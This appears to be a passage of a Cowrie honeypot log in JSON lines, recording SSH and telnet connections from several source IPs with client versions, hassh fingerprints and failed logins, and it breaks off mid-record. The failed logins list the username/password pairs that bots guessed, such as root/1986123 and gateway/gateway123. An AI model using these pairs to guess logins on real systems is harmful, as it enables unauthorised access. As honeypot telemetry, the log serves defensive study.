{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:52.991310Z","src_ip":"45.123.217.22","session":"c975d57c38b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:53.226173Z","src_ip":"45.123.217.22","session":"c975d57c38b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1986123","message":"login attempt [root/1986123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:54.193531Z","src_ip":"45.123.217.22","session":"c975d57c38b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:54.401207Z","src_ip":"91.92.40.36","session":"4a9f86a38eda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:55.972090Z","src_ip":"45.123.217.22","session":"c975d57c38b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":33898,"dst_ip":"10.17.0.5","dst_port":22,"session":"93e5f2c66586","protocol":"ssh","message":"New connection: 91.92.40.36:33898 (10.17.0.5:22) [session: 93e5f2c66586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:58.465910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:58.737399Z","src_ip":"91.92.40.36","session":"93e5f2c66586","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":44288,"dst_ip":"159.203.135.109","dst_port":22,"session":"c41f81d9f457","protocol":"ssh","message":"New connection: 102.213.34.99:44288 (159.203.135.109:22) [session: c41f81d9f457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:58.762026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:58.770374Z","src_ip":"102.213.34.99","session":"c41f81d9f457","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:58.946661Z","src_ip":"102.213.34.99","session":"c41f81d9f457","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gateway","password":"gateway123","message":"login attempt [gateway/gateway123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:59.660749Z","src_ip":"102.213.34.99","session":"c41f81d9f457","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:59.943396Z","src_ip":"91.92.40.36","session":"93e5f2c66586","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:00.834644Z","src_ip":"102.213.34.99","session":"c41f81d9f457","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.242","src_port":39618,"dst_ip":"159.203.135.109","dst_port":22,"session":"da1dcbc89114","protocol":"ssh","message":"New connection: 103.84.236.242:39618 (159.203.135.109:22) [session: da1dcbc89114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:03.935357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:03.941909Z","src_ip":"103.84.236.242","session":"da1dcbc89114","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:04.178242Z","src_ip":"103.84.236.242","session":"da1dcbc89114","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yaroslav","password":"yaroslav","message":"login attempt [yaroslav/yaroslav] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:05.165143Z","src_ip":"103.84.236.242","session":"da1dcbc89114","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":33950,"dst_ip":"10.17.0.5","dst_port":22,"session":"5da75c2c487e","protocol":"ssh","message":"New connection: 91.92.40.36:33950 (10.17.0.5:22) [session: 5da75c2c487e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:05.250521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:05.302411Z","src_ip":"91.92.40.36","session":"5da75c2c487e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:05.450135Z","src_ip":"91.92.40.36","session":"5da75c2c487e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:05.621289Z","src_ip":"91.92.40.36","session":"93e5f2c66586","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:06.128534Z","src_ip":"91.92.40.36","session":"5da75c2c487e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:06.405202Z","src_ip":"103.84.236.242","session":"da1dcbc89114","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:07.326479Z","src_ip":"91.92.40.36","session":"5da75c2c487e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:07.819632Z","src_ip":"91.92.40.36","session":"93e5f2c66586","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":50534,"dst_ip":"159.203.135.109","dst_port":23,"session":"b02aaa7e4196","protocol":"telnet","message":"New connection: 172.81.62.90:50534 (159.203.135.109:23) [session: b02aaa7e4196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:09.800277Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":54428,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebbae1a29a55","protocol":"ssh","message":"New connection: 91.92.40.36:54428 (10.17.0.5:22) [session: ebbae1a29a55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:12.328074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:12.694505Z","src_ip":"91.92.40.36","session":"ebbae1a29a55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:12.716536Z","src_ip":"91.92.40.36","session":"ebbae1a29a55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alec","password":"alec","message":"login attempt [alec/alec] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:14.830580Z","src_ip":"91.92.40.36","session":"ebbae1a29a55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:16.563876Z","src_ip":"91.92.40.36","session":"ebbae1a29a55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":54940,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f9719db988a","protocol":"ssh","message":"New connection: 91.92.40.36:54940 (10.17.0.5:22) [session: 9f9719db988a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:19.370760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:20.023532Z","src_ip":"91.92.40.36","session":"9f9719db988a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:20.028451Z","src_ip":"91.92.40.36","session":"9f9719db988a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"j","password":"j","message":"login attempt [j/j] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:22.934830Z","src_ip":"91.92.40.36","session":"9f9719db988a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:24.159814Z","src_ip":"91.92.40.36","session":"9f9719db988a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.146.243.24","src_port":47730,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0546426388d","protocol":"ssh","message":"New connection: 129.146.243.24:47730 (159.203.135.109:22) [session: d0546426388d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:26.283831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:26.288245Z","src_ip":"129.146.243.24","session":"d0546426388d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:26.390026Z","src_ip":"129.146.243.24","session":"d0546426388d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"epg","password":"epg123","message":"login attempt [epg/epg123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:26.793573Z","src_ip":"129.146.243.24","session":"d0546426388d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:27.991782Z","src_ip":"129.146.243.24","session":"d0546426388d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":11122,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b194e420945","protocol":"ssh","message":"New connection: 91.92.40.36:11122 (10.17.0.5:22) [session: 3b194e420945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:28.115635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:28.469800Z","src_ip":"91.92.40.36","session":"3b194e420945","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","